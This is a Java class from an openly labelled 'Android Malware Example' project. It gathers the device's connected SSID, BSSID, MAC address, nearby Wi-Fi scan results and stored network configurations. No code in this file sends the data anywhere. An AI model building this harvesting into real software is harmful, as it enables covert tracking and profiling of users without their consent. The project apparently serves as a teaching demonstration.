/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.util.Log;
import android.widget.Toast;
import android.net.wifi.ScanResult;

import java.util.List;

/**
 * Created by darrylb on 10/5/16.
 */

public class GetWifi {

        Context context;
       ConfigParams configParams;
        List<ScanResult> results;
//        WifiManager wifi;
    public GetWifi(Context _context){
            context = _context;
            configParams = new ConfigParams(context);

        }
    public class WifiData {

        public String CurrentSSID;
        public String BSSID;
        public String MAC;
        public String ScanResults;
        public String WifiConfigs;

    }
    public WifiData  getWifiList() {

        WifiData _wifiinfo = new WifiData();
            String ssid = null;
            ConnectivityManager connManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
            NetworkInfo networkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
            if (networkInfo.isConnected()) {
                final WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
                final WifiInfo connectionInfo = wifiManager.getConnectionInfo();
                if (connectionInfo != null && !(connectionInfo.getSSID().equals(""))) {
                    //if (connectionInfo != null && !StringUtil.isBlank(connectionInfo.getSSID())) {
                    ssid = connectionInfo.getSSID();
                if (configParams.Logging)    Log.d(configParams.PROGID,"SSID:"+ssid);
                }
                _wifiinfo.CurrentSSID = ssid;
                // Get WiFi status MARAKANA
                WifiInfo info = wifiManager.getConnectionInfo();
                String textStatus = "";
                textStatus += "\n\nWiFi Status: " + info.toString();
                String BSSID = info.getBSSID();
                String MAC = info.getMacAddress();
                _wifiinfo.BSSID = BSSID;
                _wifiinfo.MAC = MAC;

                List<ScanResult> results = wifiManager.getScanResults();
                ScanResult bestSignal = null;
                int count = 1;
                String etWifiList = "";
                for (ScanResult result : results) {
                    etWifiList += count++ + ". " + result.SSID + " : " + result.level + "\n" +
                            result.BSSID + "\n" + result.capabilities +"\n" +
                            "\n=======================\n";
                }
                if (configParams.Logging) Log.v(configParams.PROGID, "from SO: \n"+etWifiList);
                _wifiinfo.ScanResults = etWifiList;
                // List stored networks
                List<WifiConfiguration> configs = wifiManager.getConfiguredNetworks();
                for (WifiConfiguration config : configs) {
                    textStatus+= "\n\n" + config.toString();
                }
                if (configParams.Logging) Log.v(configParams.PROGID," \n"+textStatus);
                _wifiinfo.WifiConfigs = textStatus;
            }
            return _wifiinfo;

    }

}
